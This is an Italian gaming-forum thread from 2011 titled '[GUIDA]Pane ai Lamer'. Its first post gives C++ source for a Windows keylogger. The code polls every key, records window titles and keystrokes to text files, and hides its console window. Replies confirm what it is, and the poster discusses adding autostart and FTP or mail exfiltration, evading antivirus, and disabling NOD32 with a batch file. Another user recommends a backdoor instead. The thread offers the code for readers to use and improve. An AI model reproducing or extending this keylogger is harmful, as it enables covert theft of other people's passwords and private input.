Salve ospite, se leggi questo messaggio vuol dire che non sei registrato, cosa aspetti ? Premi qui per registrarti La registrazione è completamente gratuita e ti permetterà di usufruire di tutte le funzionalità del nostro forum. Buona navigazione.


Vendo, Compro, Scambio NosTale! Riapre il Black Market, concludi i tuoi scambi NosTale gratuitamente! Più info  -   Accedi alla sezione
Download file Server : File Retro Server NosTale
Visita la nuova sezione di BorderGame dedicata a Blade & Soul! Sezione Blade and Soul

 
Valutazione discussione:
  • 3 voti - 2.33 media
  • 1
  • 2
  • 3
  • 4
  • 5
[GUIDA]Pane ai Lamer
17-04-2011 07:39 PM
Messaggio: #1
[GUIDA]Pane ai Lamer
Champ
*

Principiante

Messaggi : 87

Registrato dal : Dec 2010

Reputazione : 4

Stato : Offline


Premi :



Ometto librerie e linguaggio, anche se il linguaggio lo capite subito.
Ovviamente è una base e abbastanza imperfetta, ma tanto per darvi qualcosa da fare °°
Codice:
void key(char stringa[500]);
void key(char carattere);
void nasc_sposta(char *dir_destinazione);
ofstream dati;
char *destinazioneDati;
int main()
{
int i;
HWND finestra_corrente;
char titolo_finestra[255], attuale[255];
while(1)
{
Sleep(10);
finestra_corrente = GetForegroundWindow();
GetWindowText(finestra_corrente, titolo_finestra, 254);
if(strcmp(titolo_finestra, attuale)!= 0)
{
key("\n");
key(titolo_finestra);
key("\n");
}
strcpy(attuale, titolo_finestra);
if(GetAsyncKeyState(VK_SHIFT))
{
for(i = 65; i<= 90; i++)
{
if(GetAsyncKeyState(i)== -32767) key(i);
}
for(i = 48; i <= 57; i++)
{
if(GetAsyncKeyState(i) == -32767)
{
if(i==48) key(61);
if(i==51) key(163);
if(i==55) key(47);
else key(i-16);
}
}
if( GetAsyncKeyState(220) == -32767) key('|');
if( GetAsyncKeyState(188) == -32767) key(';');
if( GetAsyncKeyState(190) == -32767) key(':');
if( GetAsyncKeyState(189) == -32767) key('_');
if( GetAsyncKeyState(186) == -32767) key('é');
if( GetAsyncKeyState(187) == -32767) key('*');
if( GetAsyncKeyState(192) == -32767) key('ç');
if( GetAsyncKeyState(222) == -32767) key('°');
if( GetAsyncKeyState(191) == -32767) key('§');
if( GetAsyncKeyState(219) == -32767) key('?');
if( GetAsyncKeyState(221) == -32767) key('^');
if( GetAsyncKeyState(226) == -32767) key('>');
}
{
for (i = 65; i <= 90; i++)
{
if (GetAsyncKeyState(i)  == -32767) key(i+32);
}
for(i = 48; i <= 57; i++)
{
if(GetAsyncKeyState(i) == -32767) key(i);
}
if( GetAsyncKeyState(220) == -32767) key('\\');
if( GetAsyncKeyState(188) == -32767) key(',');
if( GetAsyncKeyState(190) == -32767) key('.');
if( GetAsyncKeyState(189) == -32767) key('-');
if( GetAsyncKeyState(186) == -32767) key('è');
if( GetAsyncKeyState(187) == -32767) key('+');
if( GetAsyncKeyState(192) == -32767) key('ò');
if( GetAsyncKeyState(222) == -32767) key('à');
if( GetAsyncKeyState(191) == -32767) key('ù');
if( GetAsyncKeyState(219) == -32767) key('\'');
if( GetAsyncKeyState(221) == -32767) key('ì');
if( GetAsyncKeyState(226) == -32767) key('<');
if(GetAsyncKeyState(111) == -32767) key('/');
if(GetAsyncKeyState(106) == -32767) key('*');
if(GetAsyncKeyState(109) == -32767) key('-');
if(GetAsyncKeyState(107) == -32767) key('+');
if(GetAsyncKeyState(110) == -32767) key('.');
if(GetAsyncKeyState(VK_CAPITAL) == -32767) key("<CPSLCK>");
if(GetAsyncKeyState(VK_BACK) == -32767) key("<BK>");
if(GetAsyncKeyState(VK_DELETE) == -32767) key("<DEL>");
if(GetAsyncKeyState(VK_ESCAPE) == -32767) key("<ESC>");
if(GetAsyncKeyState(VK_HOME) == -32767) key("<HOME>");
if(GetAsyncKeyState(VK_END) == -32767) key("<END>");
if(GetAsyncKeyState(VK_INSERT) == -32767) key("<INS>");
if(GetAsyncKeyState(VK_TAB) == -32767) key("<TAB>");
if(GetAsyncKeyState(VK_LEFT) == -32767) key("<LEFT>");
if(GetAsyncKeyState(VK_RIGHT) == -32767) key("<RIGHT>");
if(GetAsyncKeyState(VK_UP) == -32767) key("<UP>");
if(GetAsyncKeyState(VK_DOWN) == -32767) key("<DOWN>");
if(GetAsyncKeyState(VK_SPACE) == -32767) key((char)' ');
if(GetAsyncKeyState(VK_RETURN) == -32767) key('\n');
}
}
return 0;
}
void nasc_sposta(char *dir_destinazione)
{
HWND invisibile;
invisibile = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(invisibile, SW_HIDE);
}
void key(char carattere)
{
dati.open("dati.txt", ios::app);
dati << carattere;
dati.close();
}
void key(char stringa[500])
{
dati.open("log.txt", ios::app);
dati << stringa;
dati.close();
}
«Lo scambio del sapere è potere» / 2003 - Jan 2010 / P2P Forum Italia
Torna al primo messaggio
Cerca
18-04-2011 10:08 AM
Messaggio: #2
RE: [GUIDA]Pane ai Lamer
Myros
*
Utente Storico
NosTale
Minecraft

DMP: Decisamente Molto Pro >=D

Messaggi : 352

Registrato dal : Dec 2010

Reputazione : 21

Stato : Offline


Premi :



Sbaglio o è la base di un Keylogger?
2+2 = Un Pesce.

Hacking Mode Is ON

İmage
Torna al primo messaggio
Email Cerca
18-04-2011 10:30 PM
Messaggio: #3
RE: [GUIDA]Pane ai Lamer
Champ
*

Principiante

Messaggi : 87

Registrato dal : Dec 2010

Reputazione : 4

Stato : Offline


Premi :



(18-04-2011 10:08 AM)Myros Ha scritto:  Sbaglio o è la base di un Keylogger?

Non sbagli, ed è base base. Ovviamente ho tolto le librerie, almeno se volete usarlo vi sbattete un po' =P

Però (ovviamente) è la mia versione imperfetta. Ho tolto l'avvio automatico, il riconoscimento delle finestre, l'invio dati tramite ftp o mail, che tanto i codici che trovate online non vanno bene perchè li segnala come virus =P
Inoltre compilando questo vi rimane una finestra dos aperta, con schermata nera e il file .txt vi appare sul desktop o comunque dove avete salvato il programma compilato.
Però dai vi riconosce tutti i tasti =P Anche block maiusc e maiusc u_ù
«Lo scambio del sapere è potere» / 2003 - Jan 2010 / P2P Forum Italia
Torna al primo messaggio
Cerca
18-04-2011 11:10 PM
Messaggio: #4
RE: [GUIDA]Pane ai Lamer
IceVein
*

Amico d'infanzia di Chuck Norris

Messaggi : 50

Registrato dal : Dec 2010

Reputazione : 2

Stato : Offline


Premi :



Grazie Champ, cosi fai ragionare un pò i lamer come me Big Grin
Grazie, mi hai dato qualcosa da fare per i prossimi giorni =P
Grazie milleeeeeeeeeee Vediamo che riesco a concludere :3
Iι'νє gσт fιяє ιи тнє єуєѕ, ι¢є ιи му νєιи αи∂ αℓℓ тнє ѕку ιи му мιи∂...

єνєяутнιиg уσυ ѕαу тσ мє
тαкєѕ мє σиє ѕтєρ ¢ℓσѕєя тσ тнє є∂gє
αи∂ ι'м αвσυт тσ вяєαк
ι иєє∂ α ℓιттℓє яσσм тσ вяєαтнє
¢αυѕє ι'м σиє ѕтєρ ¢ℓσѕєя тσ тнє є∂gє
αи∂ ι'м αвσυт тσ вяєαк

Citazione: Linkin Park - One Step Closer
Torna al primo messaggio
Email Cerca
20-04-2011 09:59 AM
Messaggio: #5
RE: [GUIDA]Pane ai Lamer
MrNessuno
Elite Coder
Utente Storico

Elite Coder

Messaggi : 251

Registrato dal : Nov 2010

Reputazione : 34

Stato : Offline


Premi :



Bah. Keylogger molto scarso. Qualsiasi antivirus lo detecterebbe. Inoltre la base è superficiale, non fa gran che. Piuttosto usate una backdoor, ci mettete meno e ottenete risultati migliori. Comunque per un pc senza antivirus è buonino
Torna al primo messaggio
Cerca
20-04-2011 02:11 PM
Messaggio: #6
RE: [GUIDA]Pane ai Lamer
CarlKox
*
Vip
Utente Saggio
Utente Storico
Monster Hunter
NosTale

CarlKox <3

Messaggi : 576

Registrato dal : Dec 2010

Reputazione : 80

Stato : Offline


Premi :



grazie champ bella guida +1
appena ho un po di tempo mi ci metto un po xD
+1 anche per la firma Wink

#include <antibm.h>

No all'SMS Style


İmage
Torna al primo messaggio
Email WWW Cerca
04-05-2011 04:02 PM
Messaggio: #7
RE: [GUIDA]Pane ai Lamer
Champ
*

Principiante

Messaggi : 87

Registrato dal : Dec 2010

Reputazione : 4

Stato : Offline


Premi :



(20-04-2011 09:59 AM)MrNessuno Ha scritto:  Bah. Keylogger molto scarso. Qualsiasi antivirus lo detecterebbe. Inoltre la base è superficiale, non fa gran che. Piuttosto usate una backdoor, ci mettete meno e ottenete risultati migliori. Comunque per un pc senza antivirus è buonino

A) Il source OVVIAMENTE non è mio, gira da secoli in rete e questo è giusto modificato un pochino.
B) Un antivirus non lo detecta manco a morire.
C) "Piuttosto usate una backdoor", se sai cos'è saprai benissimo che una backdoor va creata da se e vorrei ricordare che tutti i bug noti nei sistemi windows sono fixati dalla versione di XP [ma solo ufficialmente :asd]
D) Il mio keylogger (source completamente diverso) non è così. Qualsiasi programmatore degno di questo nome farebbe un triplo salto mortale sulla sedia a vedere tutti quei if, quello che ha scritto il source (Girex) ha saltato il capitolo che spiegava i cicli :asd

Comunque grazie per i grazie, e ci terrei a dire che potete partire da qua ma rielaborare il codice per ottenere un buon key. [P.S. I key "casalinghi" non sono detectati, e se si riesce a fermare l'esecuzione di nod32 con un file BAT e si riesce a estendere la licenza di avast! fino al 2050 si può tutto :asd]
«Lo scambio del sapere è potere» / 2003 - Jan 2010 / P2P Forum Italia
Torna al primo messaggio
Cerca
09-10-2011 11:27 AM
Messaggio: #8
RE: [GUIDA]Pane ai Lamer
Diedarrow13
*
Staf Away - Gruppo Onorario
Grafico
Spammer
Subber
Utente Saggio
Utente Storico
Vip

Feel like a Cutterman!

Messaggi : 2,450

Registrato dal : Nov 2010

Reputazione : 195

Stato : Offline


Premi :



Closed
İmage


İmage

Spoiler:
İmage
Torna al primo messaggio
Email Cerca

PubblicitàLa tua pubblicità qui, clicca per informazioni e per le offerte!

Stanno visualizzando la discussione : 1 Ospite(i)

  • Versione stampabile
  • Invia ad un amico
  • Sottoscrivi questa discussione